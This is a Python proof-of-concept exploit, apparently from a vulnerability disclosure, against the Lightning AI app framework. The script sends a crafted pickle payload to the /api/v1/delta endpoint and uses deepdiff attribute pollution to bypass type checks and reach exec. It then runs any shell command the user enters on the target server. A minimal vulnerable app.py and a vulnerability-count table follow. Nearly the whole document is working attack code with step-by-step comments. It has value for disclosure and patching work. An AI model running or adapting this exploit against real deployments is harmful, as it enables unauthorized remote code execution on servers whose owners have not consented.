
import requests, time, pickle, pickletools
from collections import namedtuple
from ordered_set import OrderedSet

# The root cause of this vulnerability is allowing pickled data to be sent to the `api/v1/delta endpoint`
# `deepdiff` also does not sanitize dunder paths properly, allowing for escalation to RCE via attribute pollution

# Monkey patch OrderedSet reduce to make it easier to pickle
OrderedSet.__reduce__ = lambda self, *args: (OrderedSet, ())

# Helper class to construct getitem and getattr paths easier
# Also implements the bypass for `deepdiff` not allowing access to dunder attributes (adds quotes via `repr`)
class Root:
    def __init__(self, path=None):
        self.path = path or []

    def __getitem__(self, item):
        return self.__class__(self.path + [('GET', repr(item))])

    def __getattr__(self, attr):
        return self.__class__(self.path + [('GETATTR', repr(attr) if attr.startswith('__') else attr)])
    
    def __str__(self):
        return ''.join(
            ['root'] + \
            [
                f'.{item}' 
                if typ == 'GETATTR' else 
                f'[{item}]' 
                for typ, item in self.path
            ]
        )

    def __reduce__(self, *args):
        return str, (str(self),)

server_host = 'http://127.0.0.1:7501'
server_host = input(f'LightingApp Root URL [{server_host}]: ') or server_host
command = input('Enter Command [id]: ') or 'id'

def send_delta(d):
    # this posts a delta to the remote host
    # there is insufficent type checking on this endpoint to ensure serialized data is not sent accross
    requests.post(server_host + '/api/v1/delta', headers={
        'x-lightning-type': '1',
        'x-lightning-session-uuid': '1',
        'x-lightning-session-id': '1'
    }, json={"delta": d})

# this code is injected and ran on the remote host
injected_code = f"__import__('os').system({command!r})" + '''
import lightning, sys
from lightning.app.api.request_types import _DeltaRequest, _APIRequest
lightning.app.core.app._DeltaRequest = _DeltaRequest
from lightning.app.structures.dict import Dict
lightning.app.structures.Dict = Dict
from lightning.app.core.flow import LightningFlow
lightning.app.core.LightningFlow = LightningFlow
LightningFlow._INTERNAL_STATE_VARS = {"_paths", "_layout"}
lightning.app.utilities.commands.base._APIRequest = _APIRequest
del sys.modules['lightning.app.utilities.types']'''

root = Root()

# This is why we add `namedtuple` to the root scope, it provides easy access to the `sys` module
sys = root['function'].__globals__['_sys']
bypass_isinstance = OrderedSet

delta = {
    'attribute_added': {
        # We use namedtuple to access modules (specifically sys) via its `__globals__`
        root['function']: namedtuple,

        # We need use to manipulate isinstance checks
        root['bypass_isinstance']: bypass_isinstance,
        
        # Setting `str` to `__instancecheck__` allows all isinstance calls on OrderedSet instances to return Truthy
        root['bypass_isinstance'].__instancecheck__: str,

        # We need our _DeltaRequest to be sent to the api request code path, so we change the imported type
        # This causes the isinstance check to always fail
        # affects: lightningapp/app/core/app.py:362
        sys.modules['lightning.app'].core.app._DeltaRequest: str,

        # We need to use get_component_by_name as a gadget to lookup our exec function, so we patch this to allow it to traverse normal dictionaries
        # We also patch LightningFlow to bypass the ComponentTuple isinstance check
        # We also patch out ComponentTuple incase it has already been imported
        # affects: lightningapp/app/core/app.py:208-214
        sys.modules['lightning.app'].structures.Dict: dict,
        # Union needs to be stubbed out or it will complain about LightningFlow not being a type
        sys.modules['typing'].Union: list,
        sys.modules['lightning.app'].core.LightningFlow: bypass_isinstance(),
        sys.modules['lightning.app'].utilities.types.ComponentTuple: bypass_isinstance(),

        # We empty this variable to disable writes to internal state variables
        # They will now cause unhandled exceptions due to LightningDict being `<class 'dict'>`
        # affects: lightningapp/app/core/flow.py:325
        sys.modules['lightning.app'].core.flow.LightningFlow._INTERNAL_STATE_VARS: (),

        # We need all isinstance checks against this type to succeed to place our payload in the vulnerable code path
        # affects: lightningapp/app/utilities/commands/base.py:262
        sys.modules['lightning.app'].utilities.commands.base._APIRequest: bypass_isinstance(),

        # At this point, we set `name`, `method_name`, `args`, and `kwargs` on _DeltaRequest
        # This allows us to lookup and call any object with controlled args and kwargs
        # We can do this because our previous patches allow for the following:
        # All _DeltaRequest deltas are now sent to the `_process_requests` function
        # They are handled as _APIRequest objects and passed into `_process_api_request`
        # This function first looks up a component via `root.get_component_by_name(request.name)`
        # Due to our previous attribute modifications, this function now allows us to look up arbitrary objects
        # It then looks up a method on the returned object (`getattr(flow, request.method_name)`)
        # To end the chain, the method is called with the `args` and `kwargs` properties from the the `request` argument

        # exec function lookup path
        sys.modules['lightning.app'].api.request_types._DeltaRequest.name: "root.__init__.__builtins__.exec",

        # method name
        sys.modules['lightning.app'].api.request_types._DeltaRequest.method_name: "__call__",

        # args
        sys.modules['lightning.app'].api.request_types._DeltaRequest.args: (injected_code,),

        # kwargs
        sys.modules['lightning.app'].api.request_types._DeltaRequest.kwargs: {},

        # We set `id` to avoid crashing after payload
        sys.modules['lightning.app'].api.request_types._DeltaRequest.id: "root"
    }
}

# Some replaces to remove some odd quirks of pickle proto 1 
# We keep proto 1 because it keeps our message utf-8 encodeable
payload = pickletools.optimize(pickle.dumps(delta, 1)).decode() \
    .replace('__builtin__', 'builtins') \
    .replace('unicode', 'str')

# Sends the payload and does all of our attribute pollution
send_delta(payload)

# Small delay to ensure payload was processed
time.sleep(0.2)
send_delta({}) # Code path triggers when this delta is recieved

app.py (lightning run app app.py)

from lightning.app import LightningFlow, LightningApp

class SimpleFlow(LightningFlow):
    def run(self):
        pass

app = LightningApp(SimpleFlow())

version	published	direct vulnerabilities
0.2	9 Jul, 2019	2 C 7 H 0 M 0 L
0.0.2	31 Mar, 2019	2 C 7 H 0 M 0 L

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